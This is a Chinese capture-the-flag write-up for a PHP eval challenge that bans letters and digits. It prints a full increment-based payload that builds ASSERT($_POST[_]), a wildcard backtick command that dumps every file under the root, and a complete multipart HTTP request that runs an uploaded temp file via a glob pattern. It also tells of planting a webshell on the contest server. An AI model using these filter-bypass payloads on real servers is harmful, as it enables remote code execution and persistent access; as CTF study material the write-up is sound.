easy_eval

五一假期前夕,月赛压着ddl举办了,近期大家都因为各种原因过于忙碌,再加上出题人有一点小摆,所以这次web只有一道,题目也不长,看看题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9^~]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>

很显然,这是一道命令执行题,但是把数字和字母全部过滤掉也太过分了吧。不过这也算是经典题型了,网路上很容易找到思路:这种题一般是用与运算异或自增取反等操作用其它字符构造出字母和数字执行命令。具体参考这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

但因为这里过滤了^符号,我们很自然地想到自增操作。

具体原理参考这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

给出payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>

在本地用phpstudy复现环境,payload用url编码,用php5试了一下发现确实可行

1

2

但奇怪的是,在题目环境里这种方法发现行不通了,推测可能是php版本问题(后来据出题人说这个就是预期解,他出题时似乎没有考虑php的环境问题,QAQ)

但这些都是后话,题还是要继续做的,我们只能另寻他路来点非预期解。

我们推测题目大概率是linux后台,利用linux的通配符:/???/???通配/bin/cat ????.???通配flag.php 还有php中`符号能够执行系统命令

给出我们的payload

1
?><?=`/???/??? /*`;?>//匹配<?echo /bin/cat /*

这样能够匹配到很多文件,输出了一堆乱码,只能在乱里搜索flag才找到flag

3

但是,这样虽然拿到了flag但是就漏洞利用来说也很不优雅,而且也就只能用来拿flag,有什么更进一步的利用方式呢?

参考文章:老生常谈的无字母数字Webshell总结 - 腾讯云开发者社区-腾讯云 (tencent.com)

在 Linux Shell 中.的作用和source一样,就是在当前 Bash 环境下读取并执行一个文件中的命令。比如,当前运行的 Shell 是 Bash,则. file的意思就是用当前 Bash 执行 file 文件中的命令。并且用. file执行文件,是不需要 file 文件有x权限的。

那么,如果目标服务器上有一个我们可控的文件,那我们不就可以利用.来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的临时文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后 6 个字符是随机的大小写字母。(其实这个知识点在 CTF 中也频繁出镜,比如文件包含中的利用等)

第二个难题接踵而至,临时文件. /tmp/phpXXXXXX的命名是随机的,那我们该如何去找到他名执行呢?此时就可以用到 Linux 下的 Glob 通配符:

*:可以匹配 0 个及以上任意字符 ?:可以匹配 1 个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????了。但是在真正操作起来的时候我们会发现这样通常并不能成功的执行文件,而是会报错,原因就是这样匹配到的文件太多了,系统不知道要执行哪个文件。如果没有限制字母的话我们完全可以使用/???/php??????来提高匹配几率,但是题目限制的就是字母数字,所以我们的想别的办法。

根据 PHITHON 师傅的文章,最后我们可以采用的 Payload 是:

. /???/????????[@-[]

通过这种方式构造一个post请求能直接读到文件目录,拿到flag

payload:

POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1 Host: 192.168.43.210:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type:multipart/form-data;boundary=--------123 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 109 ----------123 Content-Disposition:form-data;name="file";filename="1.txt" #!/bin/sh ls / ----------123--

img

img

更进一步,既然都能够构造post请求了,我们直接写个木马到服务器不就拿下服务器了吗

img

img

拿下!

正当我以为只要我拿下服务器,以后月赛就可以直接通过我的木马去服务器上拿flag,一劳永逸时。sgg告诉我那只是个docker容器,只是那个docker容器里有我的shell。我瞬间破大防(,看来还是太菜了,下次继续努力。呜呜。